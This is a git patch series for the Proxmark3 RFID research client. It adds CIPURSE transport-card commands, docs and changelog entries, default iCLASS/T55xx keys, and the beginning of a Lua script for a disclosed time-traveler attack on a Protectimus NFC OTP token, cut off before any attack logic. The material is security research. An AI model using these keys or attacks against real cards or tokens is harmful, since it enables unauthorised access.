0); bool noAuth = arg_get_lit(ctx, 7); - hdatalen = sizeof(hdata); + hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen); if (hdatalen == 0) { PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0."); @@ -397,14 +397,14 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { SetAPDULogging(APDULogging); CLIParserFree(ctx); - + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - + if (verbose) { PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen)); @@ -418,11 +418,11 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { DropField(); return PM3_ESOFT; } - + // set channel security levels CIPURSECSetActChannelSecurityLevels(sreq, sresp); } - + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -433,7 +433,7 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { if (verbose) PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); - + res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -441,9 +441,9 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { DropField(); return PM3_ESOFT; } - + PrintAndLogEx(INFO, "File id: %x successfully written.", fileId); - + DropField(); return PM3_SUCCESS; } @@ -470,16 +470,16 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { arg_lit0(NULL, "noauth", "read file attributes without authentication"), arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), - arg_lit0(NULL, "sel-adf","show info about ADF itself"), + arg_lit0(NULL, "sel-adf", "show info about ADF itself"), arg_lit0(NULL, "sel-mf", "show info about master file"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - + bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); uint8_t keyId = arg_get_int_def(ctx, 3, 1); - + CipurseChannelSecurityLevel sreq = CPSMACed; CipurseChannelSecurityLevel sresp = CPSMACed; int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp); @@ -489,9 +489,9 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { } uint16_t fileId = 0x2ff7; - + uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); if (hdatalen && hdatalen != 2) { PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); @@ -500,23 +500,23 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { } if (hdatalen) fileId = (hdata[0] << 8) + hdata[1]; - + bool noAuth = arg_get_lit(ctx, 6); bool seladf = arg_get_lit(ctx, 9); bool selmf = arg_get_lit(ctx, 10); - + SetAPDULogging(APDULogging); CLIParserFree(ctx); - + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - + if (verbose) PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); @@ -528,7 +528,7 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { DropField(); return PM3_ESOFT; } - + // set channel security levels CIPURSECSetActChannelSecurityLevels(sreq, sresp); } @@ -538,7 +538,7 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw); else res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); - + if (res != 0 || sw != 0x9000) { if (verbose == false) PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); @@ -549,7 +549,7 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { if (verbose) PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); - + res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -557,18 +557,18 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { DropField(); return PM3_ESOFT; } - + if (len == 0) { PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId); DropField(); return PM3_SUCCESS; } - + if (verbose) PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len)); - + CIPURSEPrintFileAttr(buf, len); - + DropField(); return PM3_SUCCESS; } @@ -597,11 +597,11 @@ static int CmdHFCipurseDeleteFile(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - + bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); uint8_t keyId = arg_get_int_def(ctx, 3, 1); - + CipurseChannelSecurityLevel sreq = CPSMACed; CipurseChannelSecurityLevel sresp = CPSMACed; int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp); @@ -611,9 +611,9 @@ static int CmdHFCipurseDeleteFile(const char *Cmd) { } uint16_t fileId = 0x2ff7; - + uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); if (hdatalen && hdatalen != 2) { PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); @@ -622,18 +622,18 @@ static int CmdHFCipurseDeleteFile(const char *Cmd) { } if (hdatalen) fileId = (hdata[0] << 8) + hdata[1]; - + SetAPDULogging(APDULogging); CLIParserFree(ctx); - + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - + if (verbose) PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); @@ -644,10 +644,10 @@ static int CmdHFCipurseDeleteFile(const char *Cmd) { DropField(); return PM3_ESOFT; } - + // set channel security levels CIPURSECSetActChannelSecurityLevels(sreq, sresp); - + res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -657,7 +657,7 @@ static int CmdHFCipurseDeleteFile(const char *Cmd) { } PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId); - + DropField(); return PM3_SUCCESS; } From a5b5a147c9774339fa5e858ef500b80d0c63d4ab Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 13:36:01 +0300 Subject: [PATCH 70/77] fix libs --- client/src/cipurse/cipursecore.c | 2 +- client/src/cipurse/cipursecore.h | 3 +-- client/src/cipurse/cipursecrypto.h | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 0fa1c6911..9a6c13563 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -110,7 +110,7 @@ int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; CipurseCClearContext(&cipurseContext); - return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); + return EMVSelect(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); } int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index e8a4112ea..7ace29ea5 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -12,10 +12,9 @@ #define __CIPURSECORE_H__ #include "common.h" -#include "emv/apduinfo.h" #include -#include "emv/apduinfo.h" // sAPDU +#include "iso7816/apduinfo.h" // sAPDU #include "cipurse/cipursecrypto.h" diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 189ba7c5a..7790eb600 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -12,7 +12,7 @@ #define __CIPURSECRYPTO_H__ #include "common.h" -#include "emv/apduinfo.h" // sAPDU +#include "iso7816/apduinfo.h" // sAPDU #define CIPURSE_KVV_LENGTH 4 #define CIPURSE_AES_KEY_LENGTH 16 From d6b572af49954e3378cb8bf8e7a3c0abc7503c04 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 15:07:27 +0300 Subject: [PATCH 71/77] fix doc for cipurse, fido and some more --- doc/commands.json | 133 +++++++++++++++++++++++++++++++++++++++++++--- doc/commands.md | 15 ++++++ 2 files changed, 140 insertions(+), 8 deletions(-) diff --git a/doc/commands.json b/doc/commands.json index 6ccdc03c5..cc359e3c9 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -973,7 +973,7 @@ }, "help": { "command": "help", - "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210604.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", + "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log e:\\proxspace\\pm3/.proxmark3/logs/log_20210615.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", "notes": [ "auto" ], @@ -1682,6 +1682,123 @@ ], "usage": "hf 15 writedsfid [-h*2o] [-u ] [--ua] --dsfid " }, + "hf cipurse aread": { + "command": "hf cipurse aread", + "description": "read file attributes by file id with key id and key", + "notes": [ + "hf cipurse aread -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file attributes with id 2ff7", + "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file attributes" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "--noauth read file attributes without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level", + "--sel-adf show info about adf itself", + "--sel-mf show info about master file" + ], + "usage": "hf cipurse aread [-hav] [-n ] [-k ] [-f ] [--noauth] [--sreq ] [--sresp ] [--sel-adf] [--sel-mf]" + }, + "hf cipurse auth": { + "command": "hf cipurse auth", + "description": "authenticate with key id and key", + "notes": [ + "hf cipurse auth -> authenticate with keyid=1 and key = 7373...7373", + "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> authenticate with key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate" + ], + "usage": "hf cipurse auth [-hav] [-n ] [-k ]" + }, + "hf cipurse delete": { + "command": "hf cipurse delete", + "description": "read file by file id with key id and key", + "notes": [ + "hf cipurse delete -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and delete file with id 2ff7", + "hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and delete file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level" + ], + "usage": "hf cipurse delete [-hav] [-n ] [-k ] [-f ] [--sreq ] [--sresp ]" + }, + "hf cipurse help": { + "command": "hf cipurse help", + "description": "help this help. --------------------------------------------------------------------------------------- hf cipurse info available offline: no get info from cipurse tags", + "notes": [ + "hf cipurse info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf cipurse info [-h]" + }, + "hf cipurse read": { + "command": "hf cipurse read", + "description": "read file by file id with key id and key", + "notes": [ + "hf cipurse read -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file with id 2ff7", + "hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "-o, --offset offset for reading data from file", + "--noauth read file without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level" + ], + "usage": "hf cipurse read [-hav] [-n ] [-k ] [-f ] [-o ] [--noauth] [--sreq ] [--sresp ]" + }, + "hf cipurse write": { + "command": "hf cipurse write", + "description": "write file by file id with key id and key", + "notes": [ + "hf cipurse write -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and write file with id 2ff7", + "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and write file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "-o, --offset offset for reading data from file", + "--noauth read file without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level", + "-c, --content new file content" + ], + "usage": "hf cipurse write [-hav] [-n ] [-k ] [-f ] [-o ] [--noauth] [--sreq ] [--sresp ] [-c ]" + }, "hf emrtd help": { "command": "hf emrtd help", "description": "help this help info display info about an emrtd list list iso 14443a/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no dump all files on an emrtd", @@ -2049,7 +2166,7 @@ }, "hf fido assert": { "command": "hf fido assert", - "description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory)", + "description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory) - for yubikey there must be only one option `\"up\": true` or false", "notes": [ "hf fido assert -> default parameters file `fido2_defparams.json`", "hf fido assert -f test.json -l -> use parameters file `text.json` and add to request credentialid" @@ -2128,7 +2245,7 @@ }, "hf fido make": { "command": "hf fido make", - "description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`.", + "description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - for yubikey there must be only one option `\"rk\": true` or false", "notes": [ "hf fido make -> use default parameters file `fido2_defparams.json`", "hf fido make -f test.json -> use parameters file `text.json`" @@ -2169,7 +2286,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } cipurse { cipurse transport cards... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", "notes": [ "hf list -f -> show frame delay times", "hf list -1 -> use trace buffer" @@ -4943,8 +5060,8 @@ "command": "hw connect", "description": "connects to a proxmark3 device via specified serial port. baudrate here is only for physical uart or uart-bt, not for usb-cdc or blue shark add-on", "notes": [ - "hw connect -p /dev/ttyacm0", - "hw connect -p /dev/ttyacm0 -b 115200" + "hw connect -p com3", + "hw connect -p com3 -b 115200" ], "offline": true, "options": [ @@ -9061,8 +9178,8 @@ } }, "metadata": { - "commands_extracted": 564, + "commands_extracted": 570, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2021-06-04T19:57:00" + "extracted_on": "2021-06-15T12:04:40" } } \ No newline at end of file diff --git a/doc/commands.md b/doc/commands.md index c9340634c..32f98bdef 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -234,6 +234,21 @@ Check column "offline" for their availability. |`hf 15 csetuid `|N |`Set UID for magic card` +### hf cipurse + + { Cipurse transport Cards... } + +|command |offline |description +|------- |------- |----------- +|`hf cipurse help `|Y |`This help.` +|`hf cipurse info `|N |`Info about Cipurse tag.` +|`hf cipurse auth `|N |`Authentication.` +|`hf cipurse read `|N |`Read binary file.` +|`hf cipurse write `|N |`Write binary file.` +|`hf cipurse aread `|N |`Read file attributes.` +|`hf cipurse delete `|N |`Delete file.` + + ### hf epa { German Identification Card... } From cbb484588ce8ac79cce1499e9d1561ef778a3381 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 15:36:50 +0300 Subject: [PATCH 72/77] add some info --- client/src/cipurse/cipursecore.c | 35 ++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 9a6c13563..2b5f52088 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -211,6 +211,32 @@ void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, Cipurs CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp); } +static void CIPURSEPrintPersoMode(uint8_t data) { + if (data & 0x01) + PrintAndLogEx(INFO, "Perso: filesystem"); + if (data & 0x02) + PrintAndLogEx(INFO, "Perso: EMV"); + if (data & 0x04) + PrintAndLogEx(INFO, "Perso: transaction supported"); + +} + +static void CIPURSEPrintProfileInfo(uint8_t data) { + if (data & 0x01) + PrintAndLogEx(INFO, "Profile: L"); + if (data & 0x02) + PrintAndLogEx(INFO, "Profile: S"); + if (data & 0x04) + PrintAndLogEx(INFO, "Profile: T"); +} + +static void CIPURSEPrintManufacturerInfo(uint8_t data) { + if (data == 0) + PrintAndLogEx(INFO, "Manufacturer: n/a"); + else + PrintAndLogEx(INFO, "Manufacturer: %s", getTagInfo(data)); // getTagInfo from cmfhf14a.h +} + void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { if (len < 2) { PrintAndLogEx(ERR, "Info file length " _RED_("ERROR")); @@ -219,6 +245,15 @@ void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { PrintAndLogEx(INFO, "------------ INFO ------------"); PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]); + + if (len >= 3) + CIPURSEPrintPersoMode(data[2]); + + if (len >= 4) + CIPURSEPrintProfileInfo(data[3]); + + if (len >= 9) + CIPURSEPrintManufacturerInfo(data[8]); } static void CIPURSEPrintFileDescriptor(uint8_t desc) { From c8c3c279ebe6579abea9706f3ccb1fc635e5a2b6 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 15:44:04 +0300 Subject: [PATCH 73/77] small fix --- client/src/cipurse/cipursecore.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 2b5f52088..70d2b51d3 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -148,7 +148,7 @@ int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, siz } int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, true, 0, Result, MaxResultLen, ResultLen, sw); + return CIPURSEExchange((sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, Result, MaxResultLen, ResultLen, sw); } bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { From 711361b4be2a79f4d40f8ef64fb7d4e385772c39 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 17:33:21 +0300 Subject: [PATCH 74/77] changelog --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5e09e96b1..52f81308b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Fixed `hf fido` commands (@merlokk) + - Added `hf cipurse` commands to wirk with cipurse transport cards (@merlokk) - Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker) - Changed `hf fido` - refactored load/save json objects (@iceman1001) - Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001) From 4661a62d077cf3830aef9966e5856ad3af5ca191 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 15 Jun 2021 17:43:14 +0300 Subject: [PATCH 75/77] changelog --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 52f81308b..4395946e9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,8 +3,9 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Fixed `hf fido` commands (@merlokk) - - Added `hf cipurse` commands to wirk with cipurse transport cards (@merlokk) + - Fixed `hf fido` commands now works correctly (@merlokk) + - Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk) + - Added `hf cipurse` commands to work with cipurse transport cards (@merlokk) - Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker) - Changed `hf fido` - refactored load/save json objects (@iceman1001) - Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001) From 10f65df35039e6acff85e575b410b92121bfe0ee Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 16 Jun 2021 02:43:57 +0200 Subject: [PATCH 76/77] add keys --- client/dictionaries/iclass_default_keys.dic | 3 ++- client/dictionaries/t55xx_default_pwds.dic | 2 ++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/client/dictionaries/iclass_default_keys.dic b/client/dictionaries/iclass_default_keys.dic index 9f03720c9..17ece4798 100644 --- a/client/dictionaries/iclass_default_keys.dic +++ b/client/dictionaries/iclass_default_keys.dic @@ -11,4 +11,5 @@ F0E1D2C3B4A59687 # Kd from PicoPass 2k documentation 5CBCF1DA45D5FB4F # PicoPass Default Exchange Key 31ad7ebd2f282168 # From HID multiclassSE reader 6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU -E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU \ No newline at end of file +E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU +2020666666668888 # iCopy-X diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index c04c53e4a..ce916dfe8 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -36,6 +36,8 @@ E9920427 575F4F4B # 50520901 +# iCopy-X +20206666 # Default pwd, simple: 00000000 11111111 From 6348ad308c102410a64aa85281929eeb9ace5e27 Mon Sep 17 00:00:00 2001 From: Matthias Deeg Date: Wed, 16 Jun 2021 11:10:37 +0200 Subject: [PATCH 77/77] add Lua script for RFID-based TOTP token Protectimus SLIM NFC --- client/luascripts/hf_14a_protectimus_nfc.lua | 427 +++++++++++++++++++ 1 file changed, 427 insertions(+) create mode 100644 client/luascripts/hf_14a_protectimus_nfc.lua diff --git a/client/luascripts/hf_14a_protectimus_nfc.lua b/client/luascripts/hf_14a_protectimus_nfc.lua new file mode 100644 index 000000000..77b595cd5 --- /dev/null +++ b/client/luascripts/hf_14a_protectimus_nfc.lua @@ -0,0 +1,427 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') +local ansicolors = require('ansicolors') + +copyright = '(c) 2021 SySS GmbH' +author = 'Matthias Deeg' +version = 'v0.8' +desc = [[ +This script can perform different operations on a Protectimus SLIM NFC +hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033) +]] +example = [[ +-- default +script run hf_14a_protectimus_nfc +]] +usage = [[ +script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00] +]] +arguments = [[ +-h This help +-i Read token info (e.g. firmware version, OTP interval) +-r Read the current one-time password (OTP) +-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO) + e.g. 2029-01-01T13:37:00+01:00 +]] + +-- Some globals +local DEBUG = false -- the debug flag + +-- Defined operations +local READ_OTP = 1 -- read the one-time password +local READ_INFO = 2 -- read the NFC token info +local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack + +-- A debug printout function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i + 1 + end + else + print('###', args) + end +end + +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end + +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan .. 'Usage' .. ansicolors.reset) + print(usage) + print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset) + print(arguments) + print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset) + print(example) +end + +-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO) +function getUnixTime(datetime) + + -- get time delta regarding Coordinated Universal Time (UTC) + local now_local = os.time() + local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local))) + local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600) + + -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS" + local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)" + local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern) + + if new_year == nil or new_month == nil or new_day == nil or + new_hour == nil or new_minute == nil or new_seconds == nil or + new_hour_offset == nil or new_minute_offset == nil then + + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" .. + " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" .. + " e.g. 2029-01-01T13:37:00+01:00") + return nil + end + + -- get the requested datetime as Unix time (UTC) + local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset, + min = new_minute + minute_offset - 